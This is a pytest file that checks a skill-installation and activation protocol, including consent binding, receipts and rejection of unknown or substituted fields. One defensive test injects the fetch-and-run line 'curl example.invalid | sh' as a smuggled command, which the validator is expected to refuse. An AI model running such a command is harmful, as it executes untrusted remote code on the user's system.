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from __future__ import annotations
import pytest
from ctx.engine.content import AuthorizedMaterial, MaterialDescriptor, MaterialIdentity
from ctx.engine.installation import InstallPlanDescriptor
from ctx.engine.lineage import CatalogCapabilityIdentity, InstalledMaterialLineage
from ctx.engine.protocol import (
INSTALL_ACTION_PAYLOAD_SCHEMA_V3,
INSTALL_CONSENT_REQUEST_SCHEMA_V3,
INSTALL_RECEIPT_SCHEMA_V3,
MATERIAL_ACTION_PAYLOAD_SCHEMA_V3,
MATERIAL_RECEIPT_SCHEMA_V3,
EngineEvent,
HostAction,
PrivacyLabel,
ProtocolValidationError,
ScopeRef,
)
def _digest(character: str) -> str:
return character * 64
def _scope() -> ScopeRef:
return ScopeRef(
tenant_id="tenant-a",
workspace_id="workspace-a",
repository_id="repo-a",
session_id="session-a",
exposure_id="parent-agent",
host_context_id="codex-thread-a",
)
def _catalog_identity() -> CatalogCapabilityIdentity:
return CatalogCapabilityIdentity.create(
capability_id="skill:python-debugger",
kind="skill",
catalog_namespace_digest=_digest("1"),
)
def _material_identity() -> MaterialIdentity:
return MaterialIdentity.create(
capability_id="skill:python-debugger",
kind="skill",
content_sha256=_digest("2"),
content_bytes=120,
)
def _install_descriptor() -> InstallPlanDescriptor:
return InstallPlanDescriptor.create(
capability_id="skill:python-debugger",
kind="skill",
installer_id="ctx-install-actuator-v1",
plan_digest=_digest("4"),
provenance_digest=_digest("9"),
result_material_identity_digest=_material_identity().identity_digest,
)
def _install_payload(*, schema: str = INSTALL_ACTION_PAYLOAD_SCHEMA_V3) -> dict[str, object]:
return {
"schema": schema,
"capability_kind": "skill",
"catalog_identity": _catalog_identity().to_dict(),
"result_material": _material_identity().to_dict(),
"install_plan_descriptor": _install_descriptor().to_dict(),
"installer_digest": _digest("5"),
"policy_snapshot_digest": _digest("6"),
}
def _v3_verification(*, state: str, receipt_schema: str) -> dict[str, object]:
return {
"receipt_required": True,
"expected_state": state,
"receipt_schema": receipt_schema,
}
def _install_action(**overrides: object) -> HostAction:
values: dict[str, object] = {
"action_id": "install-1",
"kind": "InstallCapability",
"scope": _scope(),
"precondition_revision": 6,
"entity_id": "skill:python-debugger",
"source_digest": _digest("7"),
"plan_id": "plan-1",
"catalog_snapshot_id": _digest("8"),
"consent_id": "consent-1",
"required_host_feature": "installation",
"payload": _install_payload(),
"verification": _v3_verification(
state="installed",
receipt_schema=INSTALL_RECEIPT_SCHEMA_V3,
),
"rollback": {
"kind": "UninstallCapability",
"installer_id": "ctx-install-actuator-v1",
},
"privacy": PrivacyLabel(classification="private", retention="session"),
}
values.update(overrides)
return HostAction(**values) # type: ignore[arg-type]
def _authorized_material(*, origin: str = "catalog") -> AuthorizedMaterial:
catalog_identity = _catalog_identity()
material_identity = _material_identity()
if origin == "catalog":
descriptor = MaterialDescriptor.create(
capability_id=material_identity.capability_id,
kind=material_identity.kind,
actionability="load",
content_sha256=material_identity.content_sha256,
content_bytes=material_identity.content_bytes,
estimated_tokens=30,
provenance_digest=_digest("a"),
material_identity_digest=material_identity.identity_digest,
)
return AuthorizedMaterial.from_catalog(
catalog_identity_digest=catalog_identity.identity_digest,
descriptor=descriptor,
)
lineage = InstalledMaterialLineage.create(
capability_id=material_identity.capability_id,
kind=material_identity.kind,
catalog_identity_digest=catalog_identity.identity_digest,
material_identity_digest=material_identity.identity_digest,
origin_install_descriptor_digest=_install_descriptor().descriptor_digest,
install_action_content_digest=_digest("b"),
install_receipt_content_digest=_digest("c"),
)
return AuthorizedMaterial.from_installed(lineage)
def _material_payload(*, origin: str = "catalog") -> dict[str, object]:
return {
"schema": MATERIAL_ACTION_PAYLOAD_SCHEMA_V3,
"capability_kind": "skill",
"catalog_identity": _catalog_identity().to_dict(),
"material_identity": _material_identity().to_dict(),
"authorized_material": _authorized_material(origin=origin).to_dict(),
}
def _material_action(kind: str = "ActivateCapability", **overrides: object) -> HostAction:
expected_state = {
"ActivateCapability": "active",
"PrepareExposure": "prepared",
"DeactivateCapability": "inactive",
}[kind]
rollback = {
"ActivateCapability": {"kind": "DeactivateCapability"},
"PrepareExposure": {
"kind": "cleanup-prepared-exposure",
"exposure_id": _scope().exposure_id,
},
"DeactivateCapability": {
"kind": "ActivateCapability",
"source_digest": _digest("7"),
},
}[kind]
values: dict[str, object] = {
"action_id": "material-1",
"kind": kind,
"scope": _scope(),
"precondition_revision": 6,
"entity_id": "skill:python-debugger",
"source_digest": _digest("7"),
"plan_id": "plan-1",
"catalog_snapshot_id": _digest("8"),
"lease_id": "lease-1",
"expires_at": "2026-08-02T12:00:00Z",
"required_host_feature": "activation",
"payload": _material_payload(),
"verification": _v3_verification(
state=expected_state,
receipt_schema=MATERIAL_RECEIPT_SCHEMA_V3,
),
"rollback": rollback,
}
values.update(overrides)
return HostAction(**values) # type: ignore[arg-type]
def _receipt(payload: dict[str, object]) -> EngineEvent:
return EngineEvent(
event_id="receipt-1",
kind="ActionApplied",
scope=_scope(),
expected_revision=6,
occurred_at="2026-08-02T12:00:00Z",
payload=payload,
)
def _install_consent_expired_payload() -> dict[str, object]:
return {
"consent_id": "consent-1",
"policy_snapshot_digest": _digest("6"),
"requested_action_id": "install-1",
"requested_action_kind": "InstallCapability",
"requested_action_content_digest": _digest("a"),
"requested_action_precondition_revision": 6,
"install_expires_at": "2026-08-01T13:00:00Z",
}
def test_install_consent_expired_round_trips_without_decision_semantics() -> None:
event = EngineEvent(
event_id="expiry-1",
kind="InstallConsentExpired",
scope=_scope(),
expected_revision=5,
occurred_at="2026-08-01T12:00:00Z",
payload=_install_consent_expired_payload(),
)
assert EngineEvent.from_json(event.to_json()) == event
assert "decision" not in event.payload
@pytest.mark.parametrize("extra_field", ["decision", "decision_basis", "reason"])
def test_install_consent_expired_rejects_human_or_unbound_semantics(extra_field: str) -> None:
payload = _install_consent_expired_payload()
payload[extra_field] = "denied"
with pytest.raises(ProtocolValidationError, match="unknown field"):
EngineEvent(
event_id="expiry-invalid",
kind="InstallConsentExpired",
scope=_scope(),
expected_revision=5,
occurred_at="2026-08-01T12:00:00Z",
payload=payload,
)
def _receipt_identity(action: HostAction) -> dict[str, object]:
return {
"action_id": action.action_id,
"action_kind": action.kind,
"action_content_digest": action.content_digest,
"action_precondition_revision": action.precondition_revision,
}
def test_v3_install_action_round_trips_with_exact_material_and_authority_identity() -> None:
action = _install_action()
assert HostAction.from_json(action.to_json()) == action
assert set(action.payload) == {
"schema",
"capability_kind",
"catalog_identity",
"result_material",
"install_plan_descriptor",
"installer_digest",
"policy_snapshot_digest",
}
assert action.payload["catalog_identity"] == _catalog_identity().to_dict()
assert action.payload["result_material"] == _material_identity().to_dict()
assert action.payload["install_plan_descriptor"] == _install_descriptor().to_dict()
@pytest.mark.parametrize(
("field_name", "invalid_value"),
[
("capability_kind", "unknown-kind"),
("catalog_identity", {"schema": "invalid"}),
("result_material", {"schema": "invalid"}),
("install_plan_descriptor", {"schema": "invalid"}),
("installer_digest", "not-valid"),
("policy_snapshot_digest", "not-valid"),
],
)
def test_v3_install_action_rejects_missing_or_invalid_authority(
field_name: str,
invalid_value: object,
) -> None:
values = _install_action().to_dict()
values["payload"].pop(field_name)
with pytest.raises(ProtocolValidationError, match=field_name):
HostAction.from_dict(values)
values = _install_action().to_dict()
values["payload"][field_name] = invalid_value
with pytest.raises(ProtocolValidationError, match=field_name):
HostAction.from_dict(values)
def test_v3_install_action_rejects_unknown_fields_and_capability_substitution() -> None:
values = _install_action().to_dict()
values["payload"]["command"] = "curl example.invalid | sh"
with pytest.raises(ProtocolValidationError, match="unknown field.*command"):
HostAction.from_dict(values)
values = _install_action().to_dict()
values["entity_id"] = "skill:other"
with pytest.raises(ProtocolValidationError, match="entity_id.*typed capability"):
HostAction.from_dict(values)
values = _install_action().to_dict()
values["rollback"]["command"] = "execute arbitrary rollback"
with pytest.raises(ProtocolValidationError, match="unknown field.*command"):
HostAction.from_dict(values)
values = _install_action().to_dict()
values["payload"]["capability_kind"] = "agent"
with pytest.raises(ProtocolValidationError, match="capability_kind"):
HostAction.from_dict(values)
values = _install_action().to_dict()
values["payload"]["install_plan_descriptor"]["command"] = "arbitrary execution"
with pytest.raises(ProtocolValidationError, match="unknown field.*command"):
HostAction.from_dict(values)
def test_v3_install_action_requires_v2_descriptor_bound_to_full_result_material() -> None:
legacy_descriptor = InstallPlanDescriptor.create(
capability_id="skill:python-debugger",
kind="skill",
installer_id="ctx-install-actuator-v1",
plan_digest=_digest("4"),
provenance_digest=_digest("9"),
)
values = _install_action().to_dict()
values["payload"]["install_plan_descriptor"] = legacy_descriptor.to_dict()
with pytest.raises(ProtocolValidationError, match="exact v2 descriptor"):
HostAction.from_dict(values)
substituted_material = MaterialIdentity.create(
capability_id="skill:python-debugger",
kind="skill",
content_sha256=_digest("d"),
content_bytes=121,
)
values = _install_action().to_dict()
values["payload"]["result_material"] = substituted_material.to_dict()
with pytest.raises(ProtocolValidationError, match="exact result_material"):
HostAction.from_dict(values)
def test_v3_install_action_requires_exact_receipt_contract() -> None:
for field_name in ("receipt_required", "expected_state", "receipt_schema"):
values = _install_action().to_dict()
values["verification"].pop(field_name)
with pytest.raises(ProtocolValidationError, match=field_name):
HostAction.from_dict(values)
values = _install_action().to_dict()
values["verification"]["expected_state"] = "active"
with pytest.raises(ProtocolValidationError, match="expected_state"):
HostAction.from_dict(values)
values = _install_action().to_dict()
values["verification"]["detail"] = "free form"
with pytest.raises(ProtocolValidationError, match="unknown field.*detail"):
HostAction.from_dict(values)
def test_v3_consent_request_binds_the_exact_precomputed_install() -> None:
install = _install_action()
payload = {
**_install_payload(schema=INSTALL_CONSENT_REQUEST_SCHEMA_V3),
"requested_action_id": install.action_id,
"requested_action_kind": install.kind,
"requested_action_content_digest": install.content_digest,
"requested_action_precondition_revision": install.precondition_revision,
}
request = HostAction(
action_id="request-1",
kind="RequestConsent",
scope=_scope(),
precondition_revision=5,
entity_id=install.entity_id,
source_digest=install.source_digest,
plan_id=install.plan_id,
catalog_snapshot_id=install.catalog_snapshot_id,
consent_id=install.consent_id,
required_host_feature="installation-consent",
payload=payload,
)
assert HostAction.from_json(request.to_json()) == request
values = request.to_dict()
values["payload"]["surprise"] = True
with pytest.raises(ProtocolValidationError, match="unknown field.*surprise"):
HostAction.from_dict(values)
values = request.to_dict()
values["payload"]["requested_action_kind"] = "UninstallCapability"
with pytest.raises(ProtocolValidationError, match="must be InstallCapability"):
HostAction.from_dict(values)
@pytest.mark.parametrize(
("kind", "expected_state"),
[
("ActivateCapability", "active"),
("PrepareExposure", "prepared"),
("DeactivateCapability", "inactive"),
],
)
@pytest.mark.parametrize("origin", ["catalog", "installed"])
def test_v3_material_actions_round_trip_with_exact_origin_proof(
kind: str,
expected_state: str,
origin: str,
) -> None:
action = _material_action(kind, payload=_material_payload(origin=origin))
assert HostAction.from_json(action.to_json()) == action
assert action.verification["expected_state"] == expected_state
def test_v3_material_action_rejects_unknown_origin_wrong_state_and_free_form_payload() -> None:
values = _material_action().to_dict()
values["payload"]["authorized_material"]["origin"] = "download"
with pytest.raises(ProtocolValidationError, match="authorized_material"):
HostAction.from_dict(values)
values = _material_action().to_dict()
values["verification"]["expected_state"] = "prepared"
with pytest.raises(ProtocolValidationError, match="expected_state"):
HostAction.from_dict(values)
values = _material_action().to_dict()
values["payload"]["instructions"] = "load arbitrary content"
with pytest.raises(ProtocolValidationError, match="unknown field.*instructions"):
HostAction.from_dict(values)
values = _material_action().to_dict()
values["payload"]["material_identity"]["content_bytes"] = 121
with pytest.raises(ProtocolValidationError, match="material_identity"):
HostAction.from_dict(values)
values = _material_action().to_dict()
values["entity_id"] = "skill:other"
with pytest.raises(ProtocolValidationError, match="entity_id.*typed capability"):
HostAction.from_dict(values)
values = _material_action().to_dict()
values["rollback"]["command"] = "execute arbitrary rollback"
with pytest.raises(ProtocolValidationError, match="unknown field.*command"):
HostAction.from_dict(values)
def test_v3_install_receipt_echoes_exact_observed_material_identity() -> None:
action = _install_action()
receipt = _receipt(
{
**_receipt_identity(action),
"verification": {
"schema": INSTALL_RECEIPT_SCHEMA_V3,
"host_state": "installed",
"capability_id": action.entity_id,
"capability_kind": "skill",
"catalog_identity": _catalog_identity().to_dict(),
"material_identity": _material_identity().to_dict(),
"install_plan_descriptor": _install_descriptor().to_dict(),
"installer_digest": _digest("5"),
"policy_snapshot_digest": _digest("6"),
},
}
)
assert EngineEvent.from_json(receipt.to_json()) == receipt
def test_v3_material_receipt_echoes_exact_origin_proof() -> None:
action = _material_action("PrepareExposure")
receipt = _receipt(
{
**_receipt_identity(action),
"verification": {
"schema": MATERIAL_RECEIPT_SCHEMA_V3,
"host_state": "prepared",
"capability_id": action.entity_id,
"capability_kind": "skill",
"catalog_identity": _catalog_identity().to_dict(),
"material_identity": _material_identity().to_dict(),
"authorized_material": _authorized_material().to_dict(),
},
}
)
assert EngineEvent.from_json(receipt.to_json()) == receipt
values = receipt.to_dict()
values["payload"]["verification"]["capability_id"] = "skill:other"
with pytest.raises(ProtocolValidationError, match="capability_id.*typed identities"):
EngineEvent.from_dict(values)
@pytest.mark.parametrize(
("schema", "action_kind"),
[
(INSTALL_RECEIPT_SCHEMA_V3, "ActivateCapability"),
(MATERIAL_RECEIPT_SCHEMA_V3, "InstallCapability"),
],
)
def test_v3_receipt_schema_cannot_be_substituted_across_action_kinds(
schema: str,
action_kind: str,
) -> None:
verification: dict[str, object] = {
"schema": schema,
"host_state": "installed" if schema == INSTALL_RECEIPT_SCHEMA_V3 else "active",
"capability_id": "skill:python-debugger",
"capability_kind": "skill",
"catalog_identity": _catalog_identity().to_dict(),
"material_identity": _material_identity().to_dict(),
}
if schema == INSTALL_RECEIPT_SCHEMA_V3:
verification["install_plan_descriptor"] = _install_descriptor().to_dict()
verification["installer_digest"] = _digest("5")
verification["policy_snapshot_digest"] = _digest("6")
else:
verification["authorized_material"] = _authorized_material().to_dict()
with pytest.raises(ProtocolValidationError, match="schema.*action_kind"):
_receipt(
{
"action_id": "action-1",
"action_kind": action_kind,
"action_content_digest": _digest("4"),
"action_precondition_revision": 6,
"verification": verification,
}
)
def test_v3_receipts_reject_missing_unknown_or_invalid_echoes() -> None:
action = _install_action()
payload = {
**_receipt_identity(action),
"verification": {
"schema": INSTALL_RECEIPT_SCHEMA_V3,
"host_state": "installed",
"capability_id": action.entity_id,
"capability_kind": "skill",
"catalog_identity": _catalog_identity().to_dict(),
"material_identity": _material_identity().to_dict(),
"install_plan_descriptor": _install_descriptor().to_dict(),
"installer_digest": _digest("5"),
"policy_snapshot_digest": _digest("6"),
},
}
verification = payload["verification"]
assert isinstance(verification, dict)
for field_name in (
"capability_id",
"capability_kind",
"catalog_identity",
"material_identity",
"install_plan_descriptor",
"installer_digest",
"policy_snapshot_digest",
):
invalid_verification = dict(verification)
invalid_verification.pop(field_name)
invalid = {**payload, "verification": invalid_verification}
with pytest.raises(ProtocolValidationError, match=field_name):
_receipt(invalid)
invalid_verification = {**verification, "raw_content": "SECRET-SENTINEL"}
invalid = {**payload, "verification": invalid_verification}
with pytest.raises(ProtocolValidationError, match="unknown field.*raw_content"):
_receipt(invalid)
invalid_verification = {**verification, "capability_kind": "agent"}
invalid = {**payload, "verification": invalid_verification}
with pytest.raises(ProtocolValidationError, match="capability_kind.*capability_id"):
_receipt(invalid)
def test_legacy_install_action_canonical_bytes_and_digest_remain_frozen() -> None:
action = HostAction(
action_id="legacy-install-1",
kind="InstallCapability",
scope=_scope(),
precondition_revision=5,
entity_id="skill:python-debugger",
source_digest="sha256:source",
plan_id="plan-0001",
catalog_snapshot_id="catalog-0001",
consent_id="consent-0001",
required_host_feature="installation",
payload={
"install_plan_digest": _digest("a"),
"install_descriptor_digest": _digest("d"),
"installer_id": "ctx-install-actuator-v1",
"installer_digest": _digest("b"),
"policy_snapshot_digest": _digest("c"),
},
verification={"expected_state": "installed", "receipt_required": True},
rollback={
"kind": "UninstallCapability",
"installer_id": "ctx-install-actuator-v1",
},
privacy=PrivacyLabel(classification="private", retention="session"),
)
expected = (
'{"action_id":"legacy-install-1","catalog_snapshot_id":"catalog-0001",'
'"consent_id":"consent-0001","entity_id":"skill:python-debugger",'
'"expires_at":null,"kind":"InstallCapability","lease_id":null,"payload":'
'{"install_descriptor_digest":"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd",'
'"install_plan_digest":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",'
'"installer_digest":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",'
'"installer_id":"ctx-install-actuator-v1","policy_snapshot_digest":'
'"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"},'
'"plan_id":"plan-0001","precondition_revision":5,"privacy":'
'{"classification":"private","retention":"session"},"protocol_version":1,'
'"required_host_feature":"installation","rollback":'
'{"installer_id":"ctx-install-actuator-v1","kind":"UninstallCapability"},'
'"scope":{"exposure_id":"parent-agent","host_context_id":"codex-thread-a",'
'"parent_exposure_id":null,"repository_id":"repo-a","session_id":"session-a",'
'"tenant_id":"tenant-a","workspace_id":"workspace-a"},'
'"source_digest":"sha256:source","verification":'
'{"expected_state":"installed","receipt_required":true}}'
)
assert action.to_json() == expected
assert (
action.content_digest == "a662cc9d041549b7517bc7bc40edd97d63f1dacb985d71ca488d7ff5ed88e8e6"
)
assert HostAction.from_json(expected) == action
|